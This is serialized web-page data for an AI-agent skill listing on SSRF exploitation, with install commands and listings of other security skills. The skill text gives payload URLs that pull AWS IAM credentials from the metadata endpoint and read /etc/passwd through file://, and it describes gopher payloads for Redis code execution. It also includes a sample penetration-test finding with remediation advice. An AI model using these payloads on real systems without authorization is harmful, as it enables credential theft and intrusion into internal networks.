`http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F` returns temporary AWS IAM credentials that can be used to access S3 buckets and other AWS services.\n\n### Scenario 2: PDF Generator SSRF\nA feature that generates PDFs from URLs makes server-side requests. Providing `http:\u002F\u002F127.0.0.1:8080\u002Fadmin` as the URL generates a PDF containing the internal admin panel content.\n\n### Scenario 3: Image URL SSRF with Protocol Bypass\nAn avatar URL field is filtered for HTTP\u002FHTTPS but accepts `file:\u002F\u002F` protocol. Using `file:\u002F\u002F\u002Fetc\u002Fpasswd` as the avatar URL causes the server to read local files and include content in the response.\n\n### Scenario 4: Blind SSRF to Internal Redis\nA URL fetch feature does not return response content but confirms success\u002Ffailure. Using gopher protocol payloads, an attacker writes data to an internal Redis instance, achieving remote code execution.\n\n## Output Format\n\n```\n## SSRF Vulnerability Finding\n\n**Vulnerability**: Server-Side Request Forgery (Full SSRF)\n**Severity**: Critical (CVSS 9.1)\n**Location**: POST \u002Fapi\u002Fwebhooks - `callback_url` parameter\n**OWASP Category**: A10:2021 - Server-Side Request Forgery\n\n### Reproduction Steps\n1. Send POST \u002Fapi\u002Fwebhooks with callback_url set to http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n2. Server makes request to AWS metadata endpoint\n3. Response contains AWS instance metadata including IAM role name\n4. Follow up with IAM credentials endpoint to retrieve temporary access keys\n\n### Confirmed Access\n| Target | Protocol | Response |\n|--------|----------|----------|\n| 169.254.169.254 (AWS metadata) | HTTP | IAM credentials retrieved |\n| 127.0.0.1:6379 (Redis) | Gopher | Commands executed |\n| 127.0.0.1:9200 (Elasticsearch) | HTTP | Index listing retrieved |\n| 10.0.0.5:8080 (Internal API) | HTTP | Admin panel accessible |\n\n### Impact\n- AWS IAM temporary credentials exfiltrated (S3 read\u002Fwrite access)\n- Internal Redis server accessible (potential RCE)\n- Internal Elasticsearch data exposed (user records)\n- Full internal network scanning capability\n\n### Recommendation\n1. Implement strict URL allowlisting (only allow known trusted domains)\n2. Block requests to private IP ranges (10.0.0.0\u002F8, 172.16.0.0\u002F12, 192.168.0.0\u002F16, 169.254.0.0\u002F16)\n3. Upgrade to AWS IMDSv2 (requires session token header)\n4. Disable unused URL protocols (gopher, file, dict, ftp)\n5. Use a dedicated outbound proxy for server-side requests with DNS resolution controls\n```\n",{"name":5,"note":25,"tags":26,"author":33,"domain":34,"source":35,"license":15,"version":36,"nist_csf":37,"subdomain":42,"description":7,"mitre_attack":43,"source_commit":49},"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.",[27,28,29,30,31,32],"penetration-testing","ssrf","owasp","cloud-security","web-security","burpsuite","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0",[38,39,40,41],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[44,45,46,47,48],"T1190","T1059.007","T1505.003","T1083","T1078.004","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa",".claude\u002Fskills\u002Fexploiting-server-side-request-forgery",2,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-14 13:24:09",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill exploiting-server-side-request-forgery",{"tool":66,"command":67},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill exploiting-server-side-request-forgery",{"tool":69,"command":70},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill exploiting-server-side-request-forgery","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-server-side-request-forgery\u002FSKILL.md",true,[74,78,84],{"path":75,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"references\u002Fapi-reference.md","REFERENCE","参考文档",1861,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-server-side-request-forgery\u002Freferences\u002Fapi-reference.md",{"path":85,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":89},"scripts\u002Fagent.py","SCRIPT","脚本",7481,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fexploiting-server-side-request-forgery\u002Fscripts\u002Fagent.py",[91,99,106,114,122,130],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":95,"licenseFileUrl":6,"sourceHtmlUrl":96,"categories":97,"keywords":98,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":100,"name":101,"nameZh":6,"description":102,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":110,"sourceHtmlUrl":111,"categories":112,"keywords":113,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":118,"sourceHtmlUrl":119,"categories":120,"keywords":121,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":123,"name":124,"nameZh":6,"description":125,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":126,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":131,"name":132,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":133,"categories":134,"keywords":135,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]